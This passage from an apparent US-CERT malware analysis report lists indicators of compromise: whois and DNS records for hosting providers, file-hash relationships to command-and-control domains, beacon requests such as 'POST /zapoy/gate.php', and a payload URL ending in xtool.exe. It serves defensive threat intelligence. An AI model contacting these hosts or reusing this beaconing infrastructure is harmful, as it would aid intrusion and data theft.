lookup canonical name dl-573-57.slc.westdc.net.
aliases addresses 209.236.67.159 Domain Whois record Queried whois.internic.net with dom westdc.net... Domain Name: WESTDC.NET Registrar: ENOM, INC.
Sponsoring Registrar IANA ID: 48 Whois Server: whois.enom.com US-CERT MIFR-10105049-Update2 49 of 63 Referral URL: http[:]//www[.
]enom.com Name Server: NS1.WESTDC.NET Name Server: NS2.WESTDC.NET Name Server: NS3.WESTDC.NET Status: clientTransferProhibited https[:]//icann.org/eppclientTransferProh bited Updated Date: 09-dec-2015 Creation Date: 09-sep-2008 Expiration Date: 09-sep-2019 Last update of whois database: Sun, 15 Jan 2017 23:13:20 GMT Queried whois.enom.com with westdc.net... Domain Name: WESTDC.NET Registry Domain ID: 1518630589_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.enom.com Registrar URL: www[.
]enom.com Updated Date: 2015-07-14T14:07:24.00Z Creation Date: 2008-09-09T19:31:20.00Z Registrar Registration Expiration Date: 2019-09-09T19:31:00.00Z Registrar: ENOM, INC.
Registrar IANA ID: 48 Domain Status: clientTransferProhibited https[:]//www[.
]icann.org/eppclientTransferProh bited Registry Registrant ID: Registrant Name: TECHNICAL SUPPORT Registrant Organization: UK2 GROUP Registrant Street: 517 WEST 100 NORTH, SUITE 225 Registrant City: PROVIDENCE Registrant State/Province: UT Registrant Postal Code: 84332 Registrant Country: US Registrant Phone: 1.4357553433 Registrant Phone Ext: Registrant Fax: 1.4357553449 Registrant Fax Ext: Registrant Email: DOMAINMASTERUK2GROUP.COM Registry Admin ID: Admin Name: TECHNICAL SUPPORT Admin Organization: UK2 GROUP Admin Street: 517 WEST 100 NORTH, SUITE 225 Admin City: PROVIDENCE Admin State/Province: UT Admin Postal Code: 84332 Admin Country: US Admin Phone: 1.4357553433 Admin Phone Ext: Admin Fax: 1.4357553449 Admin Fax Ext: Admin Email: DOMAINMASTERUK2GROUP.COM Registry Tech ID: Tech Name: TECHNICAL SUPPORT Tech Organization: UK2 GROUP Tech Street: 517 WEST 100 NORTH, SUITE 225 Tech City: PROVIDENCE Tech State/Province: UT Tech Postal Code: 84332 Tech Country: US Tech Phone: 1.4357553433 Tech Phone Ext: Tech Fax: 1.4357553449 Tech Fax Ext: Tech Email: DOMAINMASTERUK2GROUP.COM Name Server: NS1.WESTDC.NET Name Server: NS2.WESTDC.NET Name Server: NS3.WESTDC.NET DNSSEC: unSigned Registrar Abuse Contact Email: abuseenom.com Registrar Abuse Contact Phone: 1.4252982646 URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ Last update of WHOIS database: 2015-07-14T14:07:24.00Z Network Whois record Queried secure.mpcustomer.com with 209.236.67.159... Queried whois.arin.net with n 209.236.67.159... US-CERT MIFR-10105049-Update2 50 of 63 NetRange:       209.236.64.0 - 209.236.79.255 CIDR:           209.236.64.0/20 NetName:        WH-NET-209-236-64-0-1 NetHandle:      NET-209-236-64-0-1 Parent:         NET209 (NET-209-0-0-0-0) NetType:        Direct Allocation OriginAS:       AS29854 Organization:   WestHost, Inc. (WESTHO) RegDate:        2010-02-25 Updated:        2014-01-02 Ref:            https[:]//whois.arin.net/rest/net/NET-209-236-64-0-1 OrgName:        WestHost, Inc. OrgId:          WESTHO Address:        517 W 100 N STE 225 City:           Providence StateProv:      UT PostalCode:     84332 Country:        US RegDate:        2000-03-13 Updated:        2016-09-30 Comment:        Please report abuse issues to abuseuk2group.com Ref:            https[:]//whois.arin.net/rest/org/WESTHO ReferralServer:  rwhois://secure.mpcustomer.com:4321 OrgNOCHandle: NOC12189-ARIN OrgNOCName:   NOC OrgNOCPhone:  1-435-755-3433 OrgNOCEmail:  nocuk2group.com OrgNOCRef:    https[:]//whois.arin.net/rest/poc/NOC12189-ARIN OrgTechHandle: WESTH1-ARIN OrgTechName:   WestHost Inc OrgTechPhone:  1-435-755-3433 OrgTechEmail:  nocuk2group.com OrgTechRef:    https[:]//whois.arin.net/rest/poc/WESTH1-ARIN OrgAbuseHandle: WESTH2-ARIN OrgAbuseName:   WestHost Abuse OrgAbusePhone:  1-435-755-3433 OrgAbuseEmail:  abuseuk2group.com OrgAbuseRef:    https[:]//whois.arin.net/rest/poc/WESTH2-ARIN RTechHandle: WESTH1-ARIN RTechName:   WestHost Inc RTechPhone:  1-435-755-3433 RTechEmail:  nocuk2group.com RTechRef:    https[:]//whois.arin.net/rest/poc/WESTH1-ARIN RNOCHandle: WESTH1-ARIN RNOCName:   WestHost Inc RNOCPhone:  1-435-755-3433 RNOCEmail:  nocuk2group.com RNOCRef:    https[:]//whois.arin.net/rest/poc/WESTH1-ARIN RAbuseHandle: WESTH2-ARIN RAbuseName:   WestHost Abuse RAbusePhone:  1-435-755-3433 RAbuseEmail:  abuseuk2group.com RAbuseRef:    https[:]//whois.arin.net/rest/poc/WESTH2-ARIN DNS records name class type data time to live dl-573-57.slc.westdc.net IN A 209.236.67.216 86400s (1.00:00:00) westdc.net IN SOA server: ns1.westdc.net email: hostmasterwestdc.net serial: 2016018517 refresh: 28800 retry: 7200 expire: 604800 minimum ttl: 600 86400s (1.00:00:00) westdc.net IN MX preference: 10 exchange: mail.westdc.net 86400s (1.00:00:00) westdc.net IN NS ns2.westdc.net 86400s (1.00:00:00) westdc.net IN NS ns3.westdc.net 86400s (1.00:00:00) US-CERT MIFR-10105049-Update2 51 of 63 westdc.net IN NS ns1.westdc.net 86400s (1.00:00:00) 159.67.236.209.in-addr.arpa IN PTR dl-573-57.slc.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN SOA server: ns1.westdc.net email: hostmasterwestdc.net serial: 2010074157 refresh: 28800 retry: 7200 expire: 604800 minimum ttl: 600 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns3.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns1.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns2.westdc.net 86400s (1.00:00:00) Relationships (I) 209.236.67.159 Characterized_By (W) Address lookup (I) 209.236.67.159 Related_To (D) cderlearn.com 146.185.161.126 URI insta.reduct.ru Whois Address lookup lookup failed 146.185.161.126 Could not find a domain name corresponding to this IP address.
Domain Whois record Dont have a domain name for which to get a record Network Whois record Queried whois.ripe.net with -B 146.185.161.126... Information related to 146.185.160.0 - 146.185.167.255 Abuse contact for 146.185.160.0 - 146.185.167.255 is abusedigitalocean.com inetnum:        146.185.160.0 - 146.185.167.255 netname:        DIGITALOCEAN-AMS-3 descr:          Digital Ocean, Inc. country:        NL admin-c:        PT7353-RIPE tech-c:         PT7353-RIPE status:         ASSIGNED PA mnt-by:         digitalocean mnt-lower:      digitalocean mnt-routes:     digitalocean created:        2013-09-17T17:13:25Z last-modified:  2015-11-20T14:45:22Z source:         RIPE person:         Network Operations address:        101 Ave of the Americas, 10th Floor, New York, NY 10013 phone:          13478756044 nic-hdl:        PT7353-RIPE mnt-by:         digitalocean created:        2015-03-11T16:37:07Z last-modified:  2015-11-19T15:57:21Z source:         RIPE e-mail:         nocdigitalocean.com org:            ORG-DOI2-RIPE This query was served by the RIPE Database Query Service version 1.88 (WAGYU) DNS records DNS query for 126.161.185.146.in-addr.arpa returned an error from the server: NameError No records to display Relationships (I) 146.185.161.126 Characterized_By (W) Address lookup (I) 146.185.161.126 Related_To (D) insta.reduct.ru 176.114.0.120 US-CERT MIFR-10105049-Update2 52 of 63 URI editprod.waterfilter.in.ua Whois Address lookup canonical name s12.thehost.com.ua.
aliases addresses 176.114.0.120 Domain Whois record Queried whois.ua with thehost.com.ua... request from 209.200.90.218 This is the Ukrainian Whois query server I.
The Whois is subject to Terms of use See https[:]//hostmaster.ua/services/  domain:           thehost.com.ua dom-public:       NO registrant:       thehost admin-c:          thehost tech-c:           thehost mnt-by:           ua.thehost nserver:          ns4.thehost.com.ua nserver:          ns3.thehost.com.ua nserver:          ns2.thehost.com.ua nserver:          ns1.thehost.com.ua status:           clientDeleteProhibited status:           clientTransferProhibited created:          2007-10-25 15:16:1503 modified:         2015-09-09 01:35:4903 expires:          2020-10-25 15:16:1502 source:           UAEPP Glue Records:  nserver:          ns2.thehost.com.ua ip-address:       91.109.22.38 nserver:          ns4.thehost.com.ua ip-address:       192.162.240.116 nserver:          ns1.thehost.com.ua ip-address:       91.223.180.14 nserver:          ns3.thehost.com.ua ip-address:       176.111.63.45 Registrar:  registrar:        ua.thehost organization:     SE Sedinkin Aleksandr Valerievich organization-loc: url:              http[:]//thehost.com.ua city:             Boyarka country:          UA source:           UAEPP Registrant:  contact-id:       thehost person:           Hosting provider TheHost person-loc:         TheHost e-mail:           hostmasterthehost.com.ua address:          Belogorodskaya str.,
11a address:          Kyiv region address:          Boyarka postal-code:      08154 country:          UA address-loc:      .
,
11 address-loc: address-loc: postal-code-loc:  08154 country-loc:      UA phone:            380.442229888 fax:              380.672366930 mnt-by:           ua.thehost status:           linked US-CERT MIFR-10105049-Update2 53 of 63 status:           clientDeleteProhibited status:           clientTransferProhibited status:           clientUpdateProhibited created:          2012-11-22 23:02:1702 modified:         2015-11-30 00:57:3402 source:           UAEPP Administrative Contacts:  contact-id:       thehost person:           Hosting provider TheHost person-loc:         TheHost e-mail:           hostmasterthehost.com.ua address:          Belogorodskaya str.,
11a address:          Kyiv region address:          Boyarka postal-code:      08154 country:          UA address-loc:      .
,
11 address-loc: address-loc: postal-code-loc:  08154 country-loc:      UA phone:            380.442229888 fax:              380.672366930 mnt-by:           ua.thehost status:           linked status:           clientDeleteProhibited status:           clientTransferProhibited status:           clientUpdateProhibited created:          2012-11-22 23:02:1702 modified:         2015-11-30 00:57:3402 source:           UAEPP Technical Contacts:  contact-id:       thehost person:           Hosting provider TheHost person-loc:         TheHost e-mail:           hostmasterthehost.com.ua address:          Belogorodskaya str.,
11a address:          Kyiv region address:          Boyarka postal-code:      08154 country:          UA address-loc:      .
,
11 address-loc: address-loc: postal-code-loc:  08154 country-loc:      UA phone:            380.442229888 fax:              380.672366930 mnt-by:           ua.thehost status:           linked status:           clientDeleteProhibited status:           clientTransferProhibited status:           clientUpdateProhibited created:          2012-11-22 23:02:1702 modified:         2015-11-30 00:57:3402 source:           UAEPP Query time:     6 msec Network Whois record Queried whois.ripe.net with -B 176.114.0.120... Information related to 176.114.0.0 - 176.114.15.255 Abuse contact for 176.114.0.0 - 176.114.15.255 is abusethehost.ua inetnum:        176.114.0.0 - 176.114.15.255 netname:        THEHOST-NETWORK-3 country:        UA org:            ORG-FSOV1-RIPE admin-c:        SA7501-RIPE tech-c:         SA7501-RIPE status:         ASSIGNED PI mnt-by:         RIPE-NCC-END-MNT US-CERT MIFR-10105049-Update2 54 of 63 mnt-by:         THEHOST-MNT mnt-routes:     THEHOST-MNT mnt-domains:    THEHOST-MNT created:        2012-04-10T13:34:51Z last-modified:  2016-04-14T10:45:42Z source:         RIPE sponsoring-org: ORG-NL64-RIPE organisation:   ORG-FSOV1-RIPE org-name:       FOP Sedinkin Olexandr Valeriyovuch org-type:       other address:        08154, Ukraine, Boyarka, Belogorodskaya str.,
11a e-mail:         infothehost.ua abuse-c:        AR19055-RIPE abuse-mailbox:  abusethehost.ua remarks:        ----------------------------------------------------- remarks:        Hosting Provider TheHost remarks:        ----------------------------------------------------- remarks:        For abuse/spam issues contact abusethehost.ua remarks:        For general/sales questions contact infothehost.ua remarks:        For technical support contact supportthehost.ua remarks:        ----------------------------------------------------- phone:          380 44 222-9-888 phone:          7 499 403-36-28 fax-no:         380 44 222-9-888 ext.
4 admin-c:        SA7501-RIPE mnt-ref:        THEHOST-MNT mnt-by:         THEHOST-MNT created:        2011-03-01T10:48:14Z last-modified:  2015-11-29T21:16:15Z source:         RIPE person:         Sedinkin Alexander address:        Ukraine, Boyarka, Belogorodskaya str.,
11a phone:          380 44 222-9-888 ext.
213 address:        UKRAINE nic-hdl:        SA7501-RIPE mnt-by:         THEHOST-MNT created:        2011-03-01T10:36:18Z last-modified:  2015-11-29T21:15:42Z source:         RIPE Information related to 176.114.0.0/22AS56485 route:          176.114.0.0/22 descr:          FOP Sedinkin Olexandr Valeriyovuch origin:         AS56485 mnt-by:         THEHOST-MNT created:        2014-04-26T22:55:50Z last-modified:  2014-04-26T22:58:13Z source:         RIPE This query was served by the RIPE Database Query Service version 1.88 (ANGUS) DNS records DNS query for 120.0.114.176.in-addr.arpa failed: TimedOut name class type data time to live s12.thehost.com.ua IN A 176.114.0.120 3600s (01:00:00) thehost.com.ua IN SOA server: ns1.thehost.com.ua email: hostmasterthehost.com.ua serial: 2012093399 refresh: 10800 retry: 3600 expire: 6048000 minimum ttl: 86400 3600s (01:00:00) thehost.com.ua IN NS ns3.thehost.com.ua 86400s (1.00:00:00) thehost.com.ua IN A 91.234.33.3 3600s (01:00:00) thehost.com.ua IN TXT yandex-verification: 7984d982d76e47fa 3600s (01:00:00) thehost.com.ua IN MX preference: 20 exchange: aspmx2.googlemail.com 3600s (01:00:00) thehost.com.ua IN MX preference: 10 exchange: alt2.aspmx.l.google.com US-CERT MIFR-10105049-Update2 55 of 63 3600s (01:00:00) thehost.com.ua IN NS ns4.thehost.com.ua 86400s (1.00:00:00) thehost.com.ua IN TXT vspf1 ip4:91.234.32.9 ip4:91.234.35.135 ip4:91.234.35.9 include:_spf.google.com all 3600s (01:00:00) thehost.com.ua IN MX preference: 20 exchange: aspmx3.googlemail.com 3600s (01:00:00) thehost.com.ua IN NS ns1.thehost.com.ua 86400s (1.00:00:00) thehost.com.ua IN MX preference: 40 exchange: aspmx5.googlemail.com 3600s (01:00:00) thehost.com.ua IN MX preference: 10 exchange: alt1.aspmx.l.google.com 3600s (01:00:00) thehost.com.ua IN NS ns2.thehost.com.ua 86400s (1.00:00:00) thehost.com.ua IN MX preference: 30 exchange: aspmx4.googlemail.com 3600s (01:00:00) thehost.com.ua IN MX preference: 5 exchange: aspmx.l.google.com 3600s (01:00:00) 120.0.114.176.in-addr.arpa IN PTR s12.thehost.com.ua 3557s (00:59:17) 0.114.176.in-addr.arpa IN NS ns4.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns1.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns2.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN SOA server: noc.thehost.com.ua email: hostmasterthehost.com.ua serial: 2014044192 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) Relationships (I) 176.114.0.120 Characterized_By (W) Address lookup (I) 176.114.0.120 Related_To (D) editprod.waterfilter.in.ua 176.114.0.157 URI mymodule.waterfilter.in.ua/system/logs/xtool.exe Whois Address lookup canonical name waterfilter.in.ua.
aliases addresses 176.114.0.157 Domain Whois record Queried whois.ua with waterfilter.in.ua... request from 209.200.105.145 This is the Ukrainian Whois query server F. The Whois is subject to Terms of use See https[:]//hostmaster.ua/services/  The object shown below is NOT in the UANIC database.
It has been obtained by querying a remote server: (whois.in.ua) at port 43.
REDIRECT BEGIN In.
UA whois server.
(
whois.in.ua) US-CERT MIFR-10105049-Update2 56 of 63 All questions regarding this service please send to helpwhois.in.ua To search for domains and In.
UA maintainers using the web, visit http[:]//whois.in.ua domain:      waterfilter.in.ua descr:       waterfilter.in.ua admin-c:     THST-UANIC tech-c:      THST-UANIC status:      OK-UNTIL 20170310000000 nserver:     ns1.thehost.com.ua nserver:     ns2.thehost.com.ua nserver:     ns3.thehost.com.ua mnt-by:      THEHOST-MNT-INUA mnt-lower:   THEHOST-MNT-INUA changed:     hostmasterthehost.com.ua 20160224094245 source:      INUA REDIRECT END Network Whois record Queried whois.ripe.net with -B 176.114.0.157... Information related to 176.114.0.0 - 176.114.15.255 Abuse contact for 176.114.0.0 - 176.114.15.255 is abusethehost.ua inetnum:        176.114.0.0 - 176.114.15.255 netname:        THEHOST-NETWORK-3 country:        UA org:            ORG-FSOV1-RIPE admin-c:        SA7501-RIPE tech-c:         SA7501-RIPE status:         ASSIGNED PI mnt-by:         RIPE-NCC-END-MNT mnt-by:         THEHOST-MNT mnt-routes:     THEHOST-MNT mnt-domains:    THEHOST-MNT created:        2012-04-10T13:34:51Z last-modified:  2016-04-14T10:45:42Z source:         RIPE sponsoring-org: ORG-NL64-RIPE organisation:   ORG-FSOV1-RIPE org-name:       FOP Sedinkin Olexandr Valeriyovuch org-type:       other address:        08154, Ukraine, Boyarka, Belogorodskaya str.,
11a e-mail:         infothehost.ua abuse-c:        AR19055-RIPE abuse-mailbox:  abusethehost.ua remarks:        ----------------------------------------------------- remarks:        Hosting Provider TheHost remarks:        ----------------------------------------------------- remarks:        For abuse/spam issues contact abusethehost.ua remarks:        For general/sales questions contact infothehost.ua remarks:        For technical support contact supportthehost.ua remarks:        ----------------------------------------------------- phone:          380 44 222-9-888 phone:          7 499 403-36-28 fax-no:         380 44 222-9-888 ext.
4 admin-c:        SA7501-RIPE mnt-ref:        THEHOST-MNT mnt-by:         THEHOST-MNT created:        2011-03-01T10:48:14Z last-modified:  2015-11-29T21:16:15Z source:         RIPE person:         Sedinkin Alexander address:        Ukraine, Boyarka, Belogorodskaya str.,
11a phone:          380 44 222-9-888 ext.
213 address:        UKRAINE nic-hdl:        SA7501-RIPE US-CERT MIFR-10105049-Update2 57 of 63 mnt-by:         THEHOST-MNT created:        2011-03-01T10:36:18Z last-modified:  2015-11-29T21:15:42Z source:         RIPE Information related to 176.114.0.0/22AS56485 route:          176.114.0.0/22 descr:          FOP Sedinkin Olexandr Valeriyovuch origin:         AS56485 mnt-by:         THEHOST-MNT created:        2014-04-26T22:55:50Z last-modified:  2014-04-26T22:58:13Z source:         RIPE This query was served by the RIPE Database Query Service version 1.88 (HEREFORD) DNS records DNS query for 157.0.114.176.in-addr.arpa failed: TimedOut name class type data time to live waterfilter.in.ua IN NS ns3.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN SOA server: ns1.thehost.com.ua email: hostmasterthehost.com.ua serial: 2015031414 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) waterfilter.in.ua IN A 176.114.0.120 3600s (01:00:00) waterfilter.in.ua IN NS ns1.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN NS ns2.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN TXT vspf1 ip4:176.114.0.120 a mx all3600s (01:00:00) waterfilter.in.ua IN MX preference: 10 exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN MX preference: 20 exchange: mail.waterfilter.in.ua 3600s (01:00:00) 157.0.114.176.in-addr.arpa IN PTR waterfilter.in.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns2.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN SOA server: noc.thehost.com.ua email: hostmasterthehost.com.ua serial: 2014044197 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns4.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns1.thehost.com.ua 3600s (01:00:00) -- end -- Relationships (I) 176.114.0.157 Characterized_By (W) Address lookup (I) 176.114.0.157 Related_To (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Relationship Summary (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (S) Interface for PAS v.3.1.0 US-CERT MIFR-10105049-Update2 58 of 63 (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (F) da9f2804b16b369156e1b629ad3d2aac79326b94 284e43c7b8355f3db71912b8 (bfcb5) (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (F) 20f76ada1721b61963fa595e3a2006c962253513 62b79d5d719197c190cd4239 (c3e23) (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (F) 7b28b9b85f9943342787bae1c92cab39c01f9d82b 99eb8628abc638afd9eddaf (38f71) (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (F) ae67c121c7b81638a7cb655864d574f8a9e55e66 bcb9a7b01f0719a05fab7975 (eddfe) (S) Interface for PAS v.3.1.0 Related_To (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) (F) da9f2804b16b369156e1b629ad3d2aac79326b94 284e43c7b8355f3db71912b8 (bfcb5) Related_To (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) (F) 20f76ada1721b61963fa595e3a2006c962253513 62b79d5d719197c190cd4239 (c3e23) Related_To (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) (F) 7b28b9b85f9943342787bae1c92cab39c01f9d82b 99eb8628abc638afd9eddaf (38f71) Related_To (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) (F) ae67c121c7b81638a7cb655864d574f8a9e55e66 bcb9a7b01f0719a05fab7975 (eddfe) Related_To (F) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) (F) 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Related_To (S) Interface for PAS v.3.0.10 (F) 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Related_To (F) d285115e97c02063836f1cf8f91669c114052727c3 9bf4bd3c062ad5b3509e38 (fc45a) (S) Interface for PAS v.3.0.10 Related_To (F) 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) (F) d285115e97c02063836f1cf8f91669c114052727c3 9bf4bd3c062ad5b3509e38 (fc45a) Related_To (F) 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) (F) 55058d3427ce932d8efcbe54dccf97c9a8d1e85c7 67814e34f4b2b6a6b305641 (8f154) Connected_To (D) private.directinvesting.com (D) private.directinvesting.com Characterized_By (W) Address lookup (D) private.directinvesting.com Connected_From (F) 55058d3427ce932d8efcbe54dccf97c9a8d1e85c7 67814e34f4b2b6a6b305641 (8f154) (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (I) 204.12.12.40 (I) 204.12.12.40 Characterized_By (W) Address lookup (I) 204.12.12.40 Related_To (D) private.directinvesting.com (F) 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) Connected_To (D) cderlearn.com (F) 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) Characterized_By (S) digital_cert_steal.bmp (D) cderlearn.com Characterized_By (W) Address lookup (D) cderlearn.com Connected_From (F) 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) (D) cderlearn.com Related_To (H) POST /search.cfm HTT US-CERT MIFR-10105049-Update2 59 of 63 (D) cderlearn.com Related_To (H) POST /search.cfm HTT (D) cderlearn.com Related_To (I) 209.236.67.159 (I) 209.236.67.159 Characterized_By (W) Address lookup (I) 209.236.67.159 Related_To (D) cderlearn.com (S) digital_cert_steal.bmp Characterizes (F) 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) (W) Address lookup Characterizes (D) private.directinvesting.com (W) Address lookup Characterizes (D) cderlearn.com (W) Address lookup Characterizes (D) editprod.waterfilter.in.ua (W) Address lookup Characterizes (D) insta.reduct.ru (W) Address lookup Characterizes (D) one2shoppee.com (W) Address lookup Characterizes (D) ritsoperrol.ru (W) Address lookup Characterizes (D) littjohnwilhap.ru (W) Address lookup Characterizes (D) wilcarobbe.com (H) GET /lexicon/index.c Related_To (D) private.directinvesting.com (H) GET /lexicon/index.c Related_To (D) private.directinvesting.com (H) GET /lexicon/index.c Related_To (D) private.directinvesting.com (H) POST /search.cfm HTT Related_To (D) cderlearn.com (H) POST /search.cfm HTT Related_To (D) cderlearn.com (H) POST /zapoy/gate.php Related_To (D) wilcarobbe.com (H) POST /zapoy/gate.php Related_To (D) littjohnwilhap.ru (P) 80 Related_To (D) wilcarobbe.com (P) 80 Related_To (D) littjohnwilhap.ru (P) 80 Related_To (D) ritsoperrol.ru (H) POST /zapoy/gate.php Related_To (D) ritsoperrol.ru (P) 80 Related_To (D) one2shoppee.com (P) 80 Related_To (D) insta.reduct.ru (P) 80 Related_To (D) editprod.waterfilter.in.ua (W) Address lookup Characterizes (I) 146.185.161.126 (W) Address lookup Characterizes (I) 176.114.0.120 (W) Address lookup Characterizes (I) 209.236.67.159 (W) Address lookup Characterizes (I) 204.12.12.40 (F) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) Dropped (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (F) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) Characterized_By (S) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (S) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e Characterizes (F) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) (P) 80 Related_To (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe (W) Address lookup Characterizes (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe (W) Address lookup Characterizes (I) 176.114.0.157 (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Characterized_By (S) searching_reg_pop3.bmp (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) editprod.waterfilter.in.ua (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) insta.reduct.ru US-CERT MIFR-10105049-Update2 60 of 63 (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) one2shoppee.com (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) ritsoperrol.ru (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) littjohnwilhap.ru (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) wilcarobbe.com (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Connected_To (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) Dropped_By (F) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) (S) searching_reg_pop3.bmp Characterizes (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) wilcarobbe.com Characterized_By (W) Address lookup (D) wilcarobbe.com Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) wilcarobbe.com Related_To (H) POST /zapoy/gate.php (D) wilcarobbe.com Related_To (P) 80 (D) one2shoppee.com Characterized_By (W) Address lookup (D) one2shoppee.com Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) one2shoppee.com Related_To (P) 80 (D) ritsoperrol.ru Characterized_By (W) Address lookup (D) ritsoperrol.ru Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) ritsoperrol.ru Related_To (P) 80 (D) ritsoperrol.ru Related_To (H) POST /zapoy/gate.php (D) littjohnwilhap.ru Characterized_By (W) Address lookup (D) littjohnwilhap.ru Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) littjohnwilhap.ru Related_To (H) POST /zapoy/gate.php (D) littjohnwilhap.ru Related_To (P) 80 (D) insta.reduct.ru Characterized_By (W) Address lookup (D) insta.reduct.ru Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) insta.reduct.ru Related_To (P) 80 (D) insta.reduct.ru Related_To (I) 146.185.161.126 (I) 146.185.161.126 Characterized_By (W) Address lookup (I) 146.185.161.126 Related_To (D) insta.reduct.ru (D) editprod.waterfilter.in.ua Characterized_By (W) Address lookup (D) editprod.waterfilter.in.ua Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) editprod.waterfilter.in.ua Related_To (P) 80 (D) editprod.waterfilter.in.ua Related_To (I) 176.114.0.120 (I) 176.114.0.120 Characterized_By (W) Address lookup (I) 176.114.0.120 Related_To (D) editprod.waterfilter.in.ua US-CERT MIFR-10105049-Update2 61 of 63 (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Related_To (P) 80 (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Characterized_By (W) Address lookup 